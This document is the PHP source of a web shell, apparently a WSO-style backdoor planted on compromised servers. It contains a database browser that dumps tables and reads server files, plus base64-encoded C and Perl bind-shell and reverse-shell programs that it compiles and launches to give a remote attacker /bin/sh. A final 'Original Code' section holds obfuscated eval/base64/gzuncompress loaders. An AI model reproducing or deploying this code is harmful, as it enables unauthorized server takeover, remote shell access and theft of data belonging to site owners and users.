				case 'pgsql':
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case 'mysql':
					return @mysql_error();
				break;
				case 'pgsql':
					return @pg_last_error();
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case 'mysql':
					if(function_exists('mysql_set_charset'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query('SET CHARSET '.$str);
					break;
				case 'pgsql':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function loadFile($str) {
			switch($this->type)	{
				case 'mysql':
					return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
				break;
				case 'pgsql':
					$this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '".addslashes($str)."';select file from hard2;");
					$r=array();
					while($i=$this->fetch())
						$r[] = $i['file'];
					$this->query('drop table hard2');
					return array('file'=>implode("
",$r));
				break;
			}
			return false;
		}
		function dump($table, $fp = false) {
			switch($this->type)	{
				case 'mysql':
					$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
					$create = mysql_fetch_array($res);
					$sql = $create[1].";
";
                    if($fp) fwrite($fp, $sql); else echo($sql);
					$this->query('SELECT * FROM `'.$table.'`');
                    $i = 0;
                    $head = true;
					while($dokl = $this->fetch()) {
                        $sql = '';
                        if($i % 1000 == 0) {
                            $head = true;
                            $sql = ";

";
                        }
						$columns = array();
						foreach($dokl as $k=>$v) {
                            if($v === null)
                                $dokl[$k] = "NULL";
                            elseif(is_int($v))
                                $dokl[$k] = $v;
                            else
                                $dokl[$k] = "'".@mysql_real_escape_string($v)."'";
							$columns[] = "`".$k."`";
						}
                        if($head) {
                            $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES 
	(".implode(", ", $dokl).')';
                            $head = false;
                        } else
                            $sql .= "
	,(".implode(", ", $dokl).')';
                        if($fp) fwrite($fp, $sql); else echo($sql);
                        $i++;
					}
                    if(!$head)
                        if($fp) fwrite($fp, ";

"); else echo(";

");
				break;
				case 'pgsql':
					$this->query('SELECT * FROM '.$table);
					while($dokl = $this->fetch()) {
						$columns = array();
						foreach($dokl as $k=>$v) {
							$dokl[$k] = "'".addslashes($v)."'";
							$columns[] = $k;
						}
                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $dokl).');'."
";
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST['type']);
	if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
		$db->selectdb($_POST['sql_base']);
        switch($_POST['charset']) {
            case "Windows-1251": $db->setCharset('cp1251'); break;
            case "UTF-8": $db->setCharset('utf8'); break;
            case "KOI8-R": $db->setCharset('koi8r'); break;
            case "KOI8-U": $db->setCharset('koi8u'); break;
            case "cp866": $db->setCharset('cp866'); break;
        }
        if(empty($_POST['file'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach($_POST['tbl'] as $v)
				$db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST['file'], 'w')) {
            foreach($_POST['tbl'] as $v)
                $db->dump($v, $fp);
            fclose($fp);
            unset($_POST['p2']);
        } else
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
	}
	hardHeader();
	echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><label><select name='type'><option value='mysql' ";
    if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></label></td>
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\" required></td><td>";
	$tmp = "<input type=text name=sql_base value=''>";
	if(isset($_POST['sql_host'])){
		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
			switch($_POST['charset']) {
				case "Windows-1251": $db->setCharset('cp1251'); break;
				case "UTF-8": $db->setCharset('utf8'); break;
				case "KOI8-R": $db->setCharset('koi8r'); break;
				case "KOI8-U": $db->setCharset('koi8u'); break;
				case "cp866": $db->setCharset('cp866'); break;
			}
			$db->listDbs();
			echo "<label><select name=sql_base><option value=''></option>";
			while($dokl = $db->fetch()) {
				list($key, $value) = each($dokl);
				echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
			}
			echo '</select></label>';
		}
		else echo $tmp;
	}else
		echo $tmp;
	echo "</td>
				<td><input type=submit value='submit' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db='".@addslashes($_POST['sql_base'])."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
			if(!empty($_POST['sql_base'])){
				$db->selectdb($_POST['sql_base']);
				echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($dokl = $db->fetch($tbls_res)) {
					list($key, $value) = each($dokl);
                    if(!empty($_POST['sql_count']))
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
					$value = htmlspecialchars($value);
					echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
				}
				echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
				if(@$_POST['p1'] == 'select') {
					$_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
					$num = $db->fetch();
					$pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                    echo " of $pages";
                    if($_POST['p3'] > 1)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
                    if($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
					if($_POST['type']=='pgsql')
						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
					else
						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
					echo "<br><br>";
				}
				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
					$db->query(@$_POST['p2']);
					if($db->res !== false) {
						$title = false;
						echo '<table width=100% cellspacing=1 cellpadding=2 class=main>';
						$line = 1;
						while($dokl = $db->fetch())	{
							if(!$title)	{
								echo '<tr>';
								foreach($dokl as $key => $value)
									echo '<th>'.$key.'</th>';
								reset($dokl);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($dokl as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='submit'></form>";
            }
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo '</div>';
	hardFooter();
}
function actionNetwork() {
	hardHeader();
	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>
	<span>Bind port to /bin/sh</span><br/>
	Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>
	</form>
	<form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>
	<span>Back-connect to</span><br/>
	Server: <input type='text' name='server' value=". $_SERVER['REMOTE_ADDR'] ."> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>
	</form><br>";
	if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w=@fopen($f,"w") or @function_exists('file_put_contents');
			if($w)	{
				@fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bpc') {
			cf("/tmp/bp.c",$bind_port_c);
			$dokas = ex("gcc -o /tmp/bp /tmp/bp.c");
			@unlink("/tmp/bp.c");
			$dokas .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
			echo "<pre class=ml1>$dokas".ex("ps aux | grep bp")."</pre>";
		}
		if($_POST['p1'] == 'bpp') {
			cf("/tmp/bp.pl",$bind_port_p);
			$dokas = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
			echo "<pre class=ml1>$dokas".ex("ps aux | grep bp.pl")."</pre>";
		}
		if($_POST['p1'] == 'bcc') {
			cf("/tmp/bc.c",$back_connect_c);
			$dokas = ex("gcc -o /tmp/bc /tmp/bc.c");
			@unlink("/tmp/bc.c");
			$dokas .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
			echo "<pre class=ml1>$dokas".ex("ps aux | grep bc")."</pre>";
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$dokas = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
			echo "<pre class=ml1>$dokas".ex("ps aux | grep bc.pl")."</pre>";
		}
	}
	echo '</div>';
	hardFooter();
}
if( empty($_POST['a']) )
	if(isset($dect) && function_exists('action' . $dect))
		$_POST['a'] = $dect;
	else
		$_POST['a'] = 'FilesMan';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
	call_user_func('action' . $_POST['a']);

Did this file decode correctly?

Original Code

@ini_set('memory_limit','-1');@ini_set('max_execution_time',0);@set_time_limit(0);eval(str_rot13(gzuncompress(base64_decode("eNpVzrEOgjAQgOFZE96BEOZOxoU46GBRq4YUjbiYtlAQBNpGQXl6WwfAG7/k/jvLTQk9+P5ZsFNhL2znWWaO58b1G8uq4GXAlFEiaMe0M7zd1IShTF4MJ4pzx5tOfmO5L+R/uh0PCHyYrXEa/CXBODTsx2hZtQQiZtp1xZW+KBDGq/aYGJrPblITTuBV+ndqSAkNMkrXXZgIboRKNXopb175Pmwi2JmH+gOg74I+B4aO9wWKh1E9"))));eval($hYUlmXsDnTye($wihwZGiLTm("eAFEneeO61qSpd+l0UBVg92gdxgM0JRI0RtJJEXxT4EUvffu6Sey+8dcoFCoeyrzZEri3hEr1vriv8uu/NecLv/8R5u2/XT+qynbcvnHf/7jv/B//Mf/+e///6fR8a/0SH/rUvbdv5ayTf/xnxj8H+BL/+d//e/X/RP+VbpFzT/nZfrX1C84+c/8Wrtf3w5TOs//jKM5Zah/JemvT9J//ltqDVZVYU5eCd7rk1iIgEim8juN+XXrGSkatIck3UJxfn3umfHSnwHCG08Hq9Ks6brZanfuqJxY8x6BSWrVZ+D65cC+qoLfOde17Id0xKg511NFfBC7ZnmpXE1b9j4zfZohXTisMindijq9e47BemNzmwmflGGY09nytiFVP5yOjVUrGCr/6L/5wSat90p+CnmTEMyjRkyipVPE69/iC89rWonbLVr1t/Zmg5UI77NY30LTvm5sJ/IC793z//tv/wH//O+L9O9L77p+JUQv9Z//7m3JtWnlYVfwuggPqfPTjcGLs8gQ4xuJcS+Q7c3gvw/JO8q6NY2dbF2pM2mdJ8lMFmlO/v4SdHXqX8kzzLgkYYDytnm5/DVnF4/jgtkhHTcQiBxu3eSgKGOg54aiFfynQze6/6HHS6kj3OCODv2EY4HYM2pmucgZGcKQKE/yKGmhJ1qW5IDSTMCE6DAjYk3yH7xamg6R2IfjIInWOTfPQetXFmsli6JTUPAB/8Na3Ge5c3DLguPU6zIJcUeU5fNd8BR/S/jl0KhesBVZj3T29mQkE7sin7FZD8ZnwZKUXHvs7ygyrecxDE0xkvvadhxvX/KIO+7gMzOeLaSaSieyJzekkONNqEbiZW3OItSHR+NCHEIFdTRtpBBWHWkNe0km67/Td/CtFf4XfM+7idDz2VjEGuUNkWFqQKWtwptmnDbEZC6FKlsBg7uGX7LF2gZPojtENtScS6fSsrWP70E4ON6iZ7FIQUF9VzRDZwcxUTTzRZQsM5ujbSRHri2jM7lC61OeyDV2ijletOqSVpda1+tqFE1Svc/K+YH1K0mWxQ+FNck7PWO6iva9JX1aJux1DCdW+0m+X1TUpc5tHp/zzhp6YRni6/VT39u50t81ooOUSsSp8F7v0PNoRcq+Fnr4Dy/+znrmRxeel8sHj18lmdF9I4XeIMWlwuQXWvS35R5Tpd3JJ/ILI2Mryd/r3l3BixlcNqdDcgiiwf/BZ+aGvBs6/IRnRISaLxMWzcQ2wpzLr1z6nLSUYvS27/wZ2oBBeWTB1tvq+A3aVhtzWtzoii6tXOiRbgWbccyzervUq4vSU1RQrTPHfuo/Z+xdz4hndoq/vy0JjazrS4ojMk3ax+0qajnQdJi1jbLl8nW65vm91eHPHx8Z8jRRUplPTqXpQmJSp2gs/5texcAnbExv8Mg/kt90qUvhr4cv7zhBc/Y0mK/+RB2q76S6zIS2LgwEkervOvMxzbdqUN63x0sO2hreIrKasW9eIfpWO35GfEZNOoObyB9P3EtcRomqWr1/7FXRd++9cFwrz/54PDqUKvRXVPoCVw/kRjghiaVI/t5RQ++rI0hriXfmlB7dQscGKS1R10W9sO+J82PsnN+mqLd5RVkiQbTRAWNKW0+j5+96oziZcNbzMHCbGen9oxLGG6lX3FXwhCfm6tfBL/PgHacgEkP00FrBflkbKNYreKcMf2jol+G0MvtS5RkVeR9JcDBdfIvSg2iZl6WEevrGZiI7TrOiU/9r+yEi+zzHTn2n/f0kX8+5vq8P+/06VnzFaFLuriM03vVuTVqcGD9ZigeN2hHqapFpWzPFHGcofxpDwYiQ/6Fd42gp4pp4SziJ1BJi6WfZOztCbRwS7cdFqbzce9QppSka0Br/OOLKctdH0crrhQVk5Kf4tXfkgu68MfkvlaEVnXn08zdDR+zFt+/r5/lZdwnefUCRz/dj4xU/m7zWX/aPP1xx9rOFZaOCtjHSGDpTIX7dd6iZpsy6fu0DBrtnJdOxn3l6djRLKC2Rl5nDjgcr/FaTvS3dbjto2+LVa+PJzF+DpnBFqmwjqbbIQhvKI2v087m2/nmx2Wwtl7Dxexhy09Y4VMT0zkG+rFuoLY8NI0nxdTSVjfrupmTYq+B+IxULk/REjkx9I0ebmeLbImnsXsTivjvu/ck0P+HgHw2CooHsp6lo5oSZfIrEqbJ6SWqvR40iYXR0D+8sNXZ1v8XkTrHGz2oY7B0PGe1NlMupG+4khdjtKxp9D6NDOUMdZnVNzy33P/vDGW1s58QxPdCOpOi3H2C4XfXrwzJfbummbjNzJvcrHg92Obf0GYeEciY3h+cnN7lHXv67yYxxiEgrRs0Tq4lPpVf1zNcl4SbbzKbGoK6vHAm/AfG8q4iMBgyNG0nmVLb/YJ8xuT4Mr0MqbI2MMELHJ+oTwsCPeHYOo/NcH1vJfarfB2OpuDfeLbVQAeeq2jkppxv8WASLkTPFlu0ojBSh0IG3j85tdk9kuCJ3nSWxg+WRZtX2PPx96Su0DCZ2zkS4EmVCka7vMKKXmjHP3ChpkuOY06Dh4ZiyJRPfz/DdIHjG70zmcK+Z1OI5cj1yebPHbVeKnXJ4caXqz3fn0IMWcYYWaYm2tCHpE4z/hHxgKznyrLfpSDAL5V0loT4OTh3witlGTfn5PbjeDlk01MYje7PLWYrtzFbfc1z01TxabewSD6YIOZGPscVP5DhTRCKAA5w+LsbiNK//flf+UtU6UAbZe8zXy3S6FemaV70dLLl/e8qAD9DOmsgadDeW5J5T3COfw5vOM44SYc5Y8i1wBi9HSO5/sQE5TE+n+WyXkx7p+ihbBFTfRIFlQh9DX0kXYEwu9QoHZQA162Enm7GJ3trhe8ryVxxLU8tm5PK8SCbisEJyBnGM7PM204TVqblypjZBK6wzqAV9pE/q/Tnl4yK1vPu9WtxNzjg7rkb+vBjOug6iPaakVeY9aj7PzTEoNCOYlLHmz0eLh6uN+SOqHZNz1kDO3Sqtk+Xtjb8xlPrs/ggvh0ei5M3OZRyL5XIVxtOwzsR6L2uPMcXHn3DpRY/n1d5j5e4F0u0Tr8foH2lR/t7W63zon4qyyCkLCDQtrstexqxpUjZE56dPaWlqtM/SSV9vkWRo7zxtpCVGosVT3feiLoiSx/O45RNcqjJKffls/JpWlR7FhXQJwbalZBk7QvJ3p3pOmlTe8+FOD6cUFg9etUfBfuHriKQuhaTfKerx7VP/quCpK2veTTnSunq0MKLdJec3k/mN50Nx7VJdI+hh5pUTDjusu8qmu95vbqBOqDCTg33mov2xfFokt+BHFvs8jPBcmakQmWO8tc28+HG0ToTFoJ8qwI/mNkIpqsXvO92OAouryXrajxzfLf6V0obBJc81DT5HvDv2ULfTgS2kQSNnVbpVnTHdl9OrOXp2VZMTP2czarlqf0GjQtU51a0t9Xi8StQlfySiZ7qWTb+Yu8zqHOdzksqvYOAJFPqF24HkD+WXnJV4Pi1lW6q3XuSk2l8cl/jfh4ayj8Vuw6t2shxDsUdtk532wrQ7Ypl0GR1rPGy6GZV83iS8fh4GmRO2ipKdoU0E+XVnl1XuX1TFdHGwsxN9Uwn7Hirnw4xVPM0ITT6wiPuSjO96Stfql3Nrr5GJI64Kn9/H+NOFsCMrBOmo7CdqHXY8b8Ze0snyk5rPrs5qWuz80mI2u7+7H/7xsT4YhGpzhVcqSfQzHqhbz/diHrJBHjPDIPlUicf9J0nnF5v1nNNNzzapbpaxYpTXE93XqWhS26Bc+RhQoFfklMLVT5sDyXPR9ezRYcsuG7Wvtxlf5Ms8/C0dk++2tahiy07DJ9jb6T1DXsh3MDHt4722OJ0d1PjNpOx4SflEIGWsfrebmVOjUYUUfA/DUj9K2GC9lXT3ceK7jeENTR3xpcgctZLvtWKaEXl8YgdBz09WWMVCIai4v5hNoGgpwHjkeSA1XPnl6q5fV+xcC+/ibet6VHkHjpySla7rg3fzkSfTnw3etyrVb1Vp1Rq53X0xw5AeV3qGKOr2Jt9WvBsDjSFuiJe8oSj/OVWf+IhykPtQtFH/jh5MWXYhWmvoFtkPg+CmDuunr6U6xgtdR4N6kO+BRd9vFc0wczJCIgq54HNLbU18IQ6ZUQyxkUe0Ck8DjuKo0IMiSmiKOxwkX8aEz7RTV+zLPzj7UZ9197l1tHoy4frD3l+B1b2pcmrucRw9u1mXlrXXW3scN/0m0Tl1f5dB40nG5VSV81VzqorGMAkNJyDv52P/DPEdM85JCw8xpPLnK+SZ2iIMaebc97pOXxxLr6BxTCf2Nws1Gt90E0x0y5LHAv2nPSMrXxsv/yTtqKtNlnFHHZP9/il+dfQNRfrSV8xpRtbmUTl8/uzvlRWsX9p9U6fWo2awdv680+AiNHynijuarzrzaoyGZpYngSr+FWcj16hX+Ua8YmKfdaRbC/R62psYHp/WHgvbLaTELkMn1iPL3wiGr7q3gQXh+6mN10n3ZVa8tYmOm1bG2Ln+6efsc1CiKx65GQiXLqhSGfRFUboYfo4WLhxUG+ZH/f6OJfUbDfOLrIzxebqPV9YN8wcLArHyzQl+wcVd4HjGCt6JIyGKy2CfH32r5Pw2MZkYmF1Yf/Clw8s7C20GYW7mm5elJvm4O5Zj7AjN+EdP1/AilfBjWa4M3RRU5dkkpn1RfNsXTRYCfNR7O6pwaG56jkqn3L4jxPp7RbEsYdypfIjasDqMKuYmSC2+aBon3e+yimjB3jmd8eBvQ0UJmdXpso/roTpORvl+iPKgs2Phi08p6U4t+3V8fDcFliee428jhyJTGLq8tqA3FBt/2AV7d9XoW/H6s3R13R8KRz7NlrzZreaLluI1Tbbz6KeU37WDP8pEHotUplfx6Ur2EX4k8/XRWUXjts4S48LPCfjjV33YoXe3DIyqLPq9P4OFfxcjPhWynH2K8Pk+FKP9ffz2ruMbKw7vR+R2dTfyLoP0JM0pq9q20vNjkKPVyc95UWjjEZEoRfDGIdGikYnDI97XwrA0btEcz31rx0N8mmNEcnslP4jh2TLJJFrzItHhYtDhVA4dUgjH9ZE2gXuY2HQ1VW3rzbPC76fsFBxeU7g5UWh0e5CO/UHCYvd9QX6NQ7wS7+yNuetR9LpafKajuss4twQ/k/kc9ZLxnFOJDhxdT7yutmnzt+yHFtG1YEUQFY8liL/QNCR0mx+NmOhnJTtiHDrtrsy+TzdfWfRfssRYS5tF+GsL04vsGDKNW63jP/Tlp+ipVnjqlLcfEzuuYhfmHPpM8LQFybzS1v6JU/Lt9YxCTD4m1U82c3vh0FmyJ/pKyeo+MCVyb71Dmexf8Xq8pn64EfAIKdrDRvrgx5gn21ofApO3QEWoF3fWM7KHieU8rbg6zNFZN40u/en7V